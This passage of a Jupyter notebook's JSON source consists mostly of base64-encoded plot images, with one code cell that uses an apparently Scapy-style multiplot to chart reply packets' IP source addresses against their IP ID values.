JJ9Cli0KHiFR+Ch6lsO63dbS8oSXetYteeSNS\n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\nj2fprKkAAAZuSURBVLN27Vp2795N3759ef755x3dpMs6dOgQnTt3pl+/fjz66KNV4u9XqjanCx4B\nAQH88MMPABw5coSzZ89Wqn84zp49m18Ovm7dumRnZ5OTk+PgVl2Zdu3asXr1agCWLl2a321bWXzy\nySd88MEH2Gw2Gjdu7OjmXBE/Pz927NhBTEwMn332GS1atGDSpEmObtYVCQgIyJ8XsXr1alq2bOng\nFl2Zc+fO4enpCUDDhg05ffq0g1tUvOTkZLp168abb75J//79gcr/9ytVX6n2aqlIPXr0YM2aNbRv\n357c3FymTJmCi4uLo5tVasOHD+eJJ54gMDCQ7OxsXn/9daefY5An7+c8ceJEnn76abKysmjRogW9\ne/d2cMtKx8XFhdzcXJ599lkaNWpEr169AAgODiYyMtKxjSuFwr/nxphK9btf8PdnwIABTJ06FW9v\nb+bNm+fglpVOXvtnzZpF7969qV27Nu7u7sycOdPBLSve+PHjSU1NZezYsflzPd59912GDh1a6f5+\npfpQATERERGpME431CIiIiJVl4KHiIiIVBgFDxEREakwCh4iIiJSYRQ8RKRKWrhw4WULEObm5nLf\nffcxffp0wFpFdMsttxAaGkpoaCgvv/zyReePHz+eRx99NP/r4cOH06lTJ9q3b8+sWbMA+Ne//pX/\n+mbNmtGxY0cAvvvuO9q3b0+nTp3yz50zZ07+uR06dMDDw4O0tLQr2uvm4MGDhIaGEhQURK9evZx6\n6a9IPiMiUsUMHTrUNGvWzDz66KPFnjNixAjToUMHM336dGOMMfv27TP3339/kecuWbLE+Pv757/f\nqlWrTK9evYwxxmRmZhpfX19z+vTp/POzs7PNPffcY3bs2GGysrLyn8/KyjJ+fn4mOTn5ovd/5pln\nzMyZM40xxkRERJgvvvjCGGNMTEyM+e6774q9ht69e5v58+cbY4yZNWuWefbZZy/7cxFxBurxEJFK\nLzIyMr/nAqytC6ZOnVrsXjdffvklNWrUIDw8PP+cLVu28Pvvv9O5c2d69OjB3r17AWu35hkzZjBm\nzJj8czt16sSHH36Y/345OTm4ubnlf/3ee+8RFhbGn//8Z3bv3o2vry916tTBzc2NgIAA1qxZk3/u\n5s2b2blzJwMGDACK3+smKiqKTp064e/vT1RUFAC7du3ivvvu+//t3b9LI10YxfGvaBQUGRWbKPgD\nRQMqWAoqEgIGBBvB2AxYCFpoaaLGQrRIISS2MY2KhZBKLBQlCAb8AwSxGAW1CVglGIKiIFssDptd\nl31h3x1c9nzKJPcm3OowmXmO/ZveB4eJfGYKHiLy10omk3i9XnZ2dojFYni9XlKpFIFA4KdrLi8v\n2dvbY21trSiYNDQ0EA6HOT09JRwOY5omhUKB2dlZNjc3KS0ttT9bUVFBTU0Nr6+vTE5OMjMzQ2Vl\nJQAvLy8kEgnm5+cBeHx8xDAMe211dXVRf0okEikacPdR183V1RXJZJLz83PS6TT7+/tYlkVvb6/d\nPntwcEChUPi9AxVxwKebXCoi8l8FAgECgQCrq6u43W6mp6d/uWZ3d9e+snF3d0d5eTmtra0MDg7a\nZXH9/f1kMhmOj495eHhgYmKCXC5HJpNhfX2dUChENptlfHwcr9fLwsKCvX8qlWJoaMgeu24YBvl8\n3n4/n89TW1sLQC6Xw7KsoiK677tulpeX6e7u5v7+3r76kcvluLm5IRqNMjc3x9bWFiMjI9TX1//m\niYr8eQoeIvJP+bYt9z2wDA8Ps7S0RF1dHcFgkIuLC5qamhgbG7NH75+dnRGPxwmFQjw9PeHz+QgG\ng0U3nMLX4PH+9weAx+Ph+vqabDZLVVUV6XSaYDAIQDqdxufzFa1/77oxTdPuuuns7KSrq4ujoyMA\nYrEYPT09nJycEIlE6OjoIBqN4vf7/8iZifyfFDxE5K+3srLyw2slJSVFXTcbGxu0t7czOjr64R6L\ni4uYpsnh4SFlZWVsb29/uCdAPB7n9vaWRCJBIpEAvj6l0tzcjGVZdmEbgMvlIhaL4ff7eXt7Y2pq\nCrfbDYBlWbS1tRV9x0ddN4Zh4PP5GBgY4Pn5mb6+PhobG/F4PJimicvloqWlxX5iRuQzU1eLiIiI\nOEY3l4qIiIhjFDxERETEMQoeIiIi4hgFDxEREXGMgoeIiIg4RsFDREREHKPgISIiIo5R8BARERHH\nfAF06XGfj0wwrAAAAABJRU5ErkJggg==\n", "text": [ "" ] }, { "metadata": {}, "output_type": "pyout", "prompt_number": 6, "text": [ "[[],\n", " []]" ] } ], "prompt_number": 6 }, { "cell_type": "code", "collapsed": false, "input": [ "ans.multiplot(lambda p, q: (q[IP].src, q[IP].id))" ], "language": "python", "metadata": {}, "outputs": [ { "metadata": {}, "output_type": "display_data", "png": "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\n3/9OWloadev